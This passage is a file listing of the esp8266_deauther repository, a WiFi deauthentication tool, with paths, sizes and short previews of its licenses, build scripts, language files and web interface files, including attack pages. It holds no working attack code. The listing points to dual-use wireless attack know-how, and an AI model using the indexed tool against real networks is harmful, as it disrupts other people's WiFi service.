"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/license",
"chars": 1158,
"preview": "The MIT License (MIT)\n\nCopyright (c) 2016 by Daniel Eichhorn\nCopyright (c) 2016 by Fabrice Weinberg\n\nPermission is hereb"
},
{
"path": "esp8266_deauther/src/my92xx-3.0.3/LICENSE",
"chars": 35148,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "esp8266_deauther/src/my92xx-3.0.3/my92xx.cpp",
"chars": 5138,
"preview": "/*\n\nMY92XX LED Driver for Arduino\nBased on the C driver by MaiKe Labs\n\nCopyright (c) 2016 - 2026 MaiKe Labs\nCopyright (C"
},
{
"path": "esp8266_deauther/src/my92xx-3.0.3/my92xx.h",
"chars": 3741,
"preview": "/*\n\nMY92XX LED Driver for Arduino\nBased on the C driver by MaiKe Labs\n\nCopyright (c) 2016 - 2026 MaiKe Labs\nCopyright (C"
},
{
"path": "esp8266_deauther/webfiles.h",
"chars": 505381,
"preview": "#ifndef webfiles_h\n#define webfiles_h\n\n// comment that out if you want to save program memory and know how to upload the"
},
{
"path": "esp8266_deauther/wifi.cpp",
"chars": 17584,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"wifi"
},
{
"path": "esp8266_deauther/wifi.h",
"chars": 450,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "serialcommands.md",
"chars": 13172,
"preview": "# Serial Commands\n\n**Overview:** \n- [`help`](#help)\n- [`scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch"
},
{
"path": "settings.md",
"chars": 5143,
"preview": "# Settings\r\n\r\n**Overview**\r\n - [`version`](#version)\r\n - [`ssid`](#ssid)\r\n - [`password`](#password)\r\n - [`channel`]"
},
{
"path": "utils/arduino-cli-compile.py",
"chars": 2069,
"preview": "#!/usr/bin/env python3\n\n# inside esp8266_deauther/esp8266_deauther\n# call this script\n# python3 ../utils/arduino-cli-com"
},
{
"path": "utils/old_web_converter/convert_all.sh",
"chars": 1613,
"preview": "#!/bin/bash\n\n#\n# This script walks through the html folder and minify all JS, HTML and CSS files. It also generates\n# th"
},
{
"path": "utils/old_web_converter/converter.html",
"chars": 1983,
"preview": "<!Doctype html>\n<html>\n\t<head>\n\t\t<meta charset=\"utf-8\">\n\t\t<title>Byte Converter</title>\n\t\t<meta name=\"description\" conte"
},
{
"path": "utils/old_web_converter/readme.md",
"chars": 2040,
"preview": "# How to update files inside html folder?\nThe files related to the Frontend of ESP8266_Deauther are inside html folder.\n"
},
{
"path": "utils/old_web_converter/style.css",
"chars": 6197,
"preview": "/* Global */\r\nbody {\r\n\tbackground: #36393e;\r\n\tcolor: #bfbfbf;\r\n\tfont-family: sans-serif;\r\n\tmargin: 0;\r\n}\r\n\r\nh1 {\r\n\tfont-"
},
{
"path": "utils/vendor_list_updater/README.md",
"chars": 271,
"preview": "`python3 update_manuf.py -o oui.h -s` \n\nThis Python script updates the manufacturer list oui.h in deauther2.0/esp8266_d"
},
{
"path": "utils/vendor_list_updater/update_manuf.py",
"chars": 4809,
"preview": "#/usr/bin/env python3\r\n# This scripts downloads the last OUI manufaturer file from the Whireshark\r\n# project and convert"
},
{
"path": "utils/web_converter/css_html_js_minify/__init__.py",
"chars": 961,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlos"
},
{
"path": "utils/web_converter/css_html_js_minify/css_minifier.py",
"chars": 13181,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlos"
},
{
"path": "utils/web_converter/css_html_js_minify/html_minifier.py",
"chars": 6398,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlos"
},
{
"path": "utils/web_converter/css_html_js_minify/js_minifier.py",
"chars": 6720,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlos"
},
{
"path": "utils/web_converter/css_html_js_minify/minify.py",
"chars": 14584,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlos"
},
{
"path": "utils/web_converter/css_html_js_minify/variables.py",
"chars": 7649,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: juancarlospaco\n# GitHub Repo: https://github.com/juancarlos"
},
{
"path": "utils/web_converter/readme.md",
"chars": 745,
"preview": "Use this converter to minify and gzip everything in the `web_interface` folder and put it in `esp8266_deauther/data/web/"
},
{
"path": "utils/web_converter/webConverter.py",
"chars": 10865,
"preview": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Created by: xdavidhu\n\nimport os\nimport gzip\nimport argparse\nimport bina"
},
{
"path": "web_interface/attack.html",
"chars": 4348,
"preview": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctyp"
},
{
"path": "web_interface/attack.json",
"chars": 45,
"preview": "[[false,0,0,0],[false,0,0,0],[false,0,0,0],0]"
},
{
"path": "web_interface/index.html",
"chars": 2211,
"preview": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\n\n<!Doctype "
},
{
"path": "web_interface/info.html",
"chars": 5429,
"preview": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctyp"
},
{
"path": "web_interface/js/attack.js",
"chars": 1625,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar attackJS"
},
{
"path": "web_interface/js/scan.js",
"chars": 10696,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar nameJson"
},
{
"path": "web_interface/js/settings.js",
"chars": 1864,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar settings"
},
{
"path": "web_interface/js/site.js",
"chars": 3161,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar langJson"
},
{
"path": "web_interface/js/ssids.js",
"chars": 2862,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\nvar ssidJson"
},
{
"path": "web_interface/lang/cn.lang",
"chars": 3397,
"preview": "{\n \"lang\": \"cn\",\n \"warning\": \"注意!\",\n \"disclaimer\": \"该项目仅用于个人学习和研究使用\\nESP8266及其SDK都不是为此目的而设计或构建的。可能会有 Bug 出现!\\n请"
},
{
"path": "web_interface/lang/cs.lang",
"chars": 6115,
"preview": "{\n \"lang\": \"cs\",\n \"warning\": \"VAROVÁNÍ\",\n \"disclaimer\": \"Tento projekt slouží pouze pro testovací a edukační vy"
},
{
"path": "web_interface/lang/da.lang",
"chars": 6909,
"preview": "{\n \"lang\": \"da\",\n \"warning\": \"ADVARSEL\",\n \"disclaimer\": \"Dette projekt er et bevis for koncept og er til testni"
},
{
"path": "web_interface/lang/de.lang",
"chars": 7381,
"preview": "{\r\n \"lang\": \"de\",\r\n \"warning\": \"WARNUNG\",\r\n \"disclaimer\": \"Dieses Proof-of-Concept-Projekt ist zum Lernen und T"
},
{
"path": "web_interface/lang/en.lang",
"chars": 7150,
"preview": "{\r\n \"lang\": \"en\",\r\n \"warning\": \"WARNING\",\r\n \"disclaimer\": \"This project is a proof of concept for testing and e"
},
{
"path": "web_interface/lang/es.lang",
"chars": 7925,
"preview": "{\n \"lang\": \"es\",\n \"warning\": \"ADVERTENCIA\",\n\t\"disclaimer\": \"Este proyecto es una prueba de concepto con un motivo didá"
},
{
"path": "web_interface/lang/fi.lang",
"chars": 6942,
"preview": "{\n \"lang\": \"fi\",\n \"warning\": \"VAROITUS\",\n \"disclaimer\": \"Tämä laite on tarkoitettu verkon turvallisuustestien tekemis"
},
{
"path": "web_interface/lang/fr.lang",
"chars": 7664,
"preview": "{\n \"lang\": \"fr\",\n \"warning\": \"ATTENTION\",\n \"disclaimer\": \"Ce projet est seulement à but éducatif et à été conçu pour "
},
{
"path": "web_interface/lang/hu.lang",
"chars": 7875,
"preview": "{\r\n \"lang\": \"hu\",\r\n \"warning\": \"FIGYELMEZTETÉS\",\r\n \"disclaimer\": \"Ez a projekt egy koncepció bizonyítása teszte"
},
{
"path": "web_interface/lang/in.lang",
"chars": 7633,
"preview": "{\n \"lang\": \"in\",\n \"warning\": \"PERINGATAN\",\n \"disclaimer\": \"Proyek ini adalah bukti konsep untuk pengujian dan t"
},
{
"path": "web_interface/lang/it.lang",
"chars": 7843,
"preview": "{\n \"lang\": \"it\",\n \"warning\": \"AVVERTIMENTO\",\n\t\"disclaimer\": \"Questo progetto è una prova di concetto per scopi di test"
},
{
"path": "web_interface/lang/ja.lang",
"chars": 4128,
"preview": "{\n \"lang\": \"ja\",\n \"warning\": \"警告\",\n \"disclaimer\": \"このプロジェクトはテスト及び学術的な目的の概念実証です。\\nESP8266及び、そのSDKは、このような目的のためのもの"
},
{
"path": "web_interface/lang/ko.lang",
"chars": 4488,
"preview": "{\r\n \"lang\": \"ko\",\r\n \"warning\": \"경고\",\r\n \"disclaimer\": \"이 프로젝트는 교육목적 또는 테스트를 위해 만들어졌습니다.\\nESP8266외 다른기기에서 오류가 발생할"
},
{
"path": "web_interface/lang/nl.lang",
"chars": 7973,
"preview": " { \n \"lang\": \"nl\",\n \"warning\": \"WAARSCHUWING\",\n \"disclaimer\": \"Dit project is een proof of concept voor test- e"
},
{
"path": "web_interface/lang/pl.lang",
"chars": 7246,
"preview": "{\n \"lang\": \"pl\",\n \"warning\": \"OSTRZEŻENIE\",\n \"disclaimer\": \"Ten projekt jest dowodem pomysłu który służy do cel"
},
{
"path": "web_interface/lang/ptbr.lang",
"chars": 7776,
"preview": "{\r\n \"lang\": \"pt-br\",\r\n \"warning\": \"AVISO\",\r\n \"disclaimer\": \"Este projeto é uma prova de conceito para fins educ"
},
{
"path": "web_interface/lang/ro.lang",
"chars": 7757,
"preview": "{\n \"lang\": \"ro\",\n \"warning\": \"ATENȚIE\",\n \"disclaimer\": \"Acest proiect este o dovadă a conceptului de testare și scopu"
},
{
"path": "web_interface/lang/ru.lang",
"chars": 7693,
"preview": "{\r\n \"lang\": \"ru\",\r\n \"warning\": \"ПРЕДУПРЕЖДЕНИЕ\",\r\n \"disclaimer\": \"Этот проект можно использовать только для тес"
},
{
"path": "web_interface/lang/th.lang",
"chars": 6583,
"preview": " \n{\n \"lang\": \"th\",\n \"warning\": \"คำเตือน\",\n \"disclaimer\": \"โครงการนี้เป็นหลักฐานของแนวคิดสำหรับการทดสอบและเพื่อ"
},
{
"path": "web_interface/lang/tlh.lang",
"chars": 6356,
"preview": "{\n \"lang\": \"tlh\",\n \"warning\": \"WARNING\",\n \"disclaimer\": \"jInmol tob concept waH 'ej educational ngoQ. nneither qej es"
},
{
"path": "web_interface/lang/uk.lang",
"chars": 7620,
"preview": "{\n \"lang\": \"uk\",\n \"warning\": \"ПОПЕРЕДЖЕННЯ\",\n \"disclaimer\": \"Цей проект можна використовувати тільки для тестув"
},
{
"path": "web_interface/names.json",
"chars": 285,
"preview": "[\r\n\t[\r\n\t\t\"b8:1d:aa:d5:6f:f0\",\r\n\t\t\"don't!\",\r\n\t\t\"[[[[not mine]]]]\",\r\n\t\t\"\",\r\n\t\t1,\r\n\t\ttrue\r\n\t]\r\n\t,[\r\n\t\t\"f4:6b:de:da:8d:95\",\r"
},
{
"path": "web_interface/run",
"chars": 13,
"preview": "Empty file :D"
},
{
"path": "web_interface/scan.html",
"chars": 4141,
"preview": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctyp"
},
{
"path": "web_interface/scan.json",
"chars": 1562,
"preview": "{\r\n \"aps\":[\r\n [\r\n \"Don't\",\r\n \"--SpaceRouter!--\",\r\n 6,\r\n -57,\r\n \"WPA2\",\r\n "
},
{
"path": "web_interface/settings.html",
"chars": 2350,
"preview": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctyp"
},
{
"path": "web_interface/settings.json",
"chars": 672,
"preview": "{\r\n \"version\": \"over9000\",\r\n \"ssid\": \"pwned\",\r\n \"password\": \"deauther\",\r\n \"channel\": 1,\r\n \"hidden\": false"
},
{
"path": "web_interface/ssids.html",
"chars": 3871,
"preview": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctyp"
},
{
"path": "web_interface/ssids.json",
"chars": 3533,
"preview": "{\r\n\t\"random\": false,\r\n\t\"ssids\":[\r\n [\r\n \"Cthulhu fm'latgh stell'bsna\",\r\n false,\r\n 27\r\n ],\r\n [\r\n \"Nyarlatho"
},
{
"path": "web_interface/style.css",
"chars": 7282,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\n/* Global */"
}
]
About this extraction
This page contains the full source code of the SpacehuhnTech/esp8266_deauther GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 177 files (3.2 MB), approximately 847.4k tokens, and a symbol index with 466 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.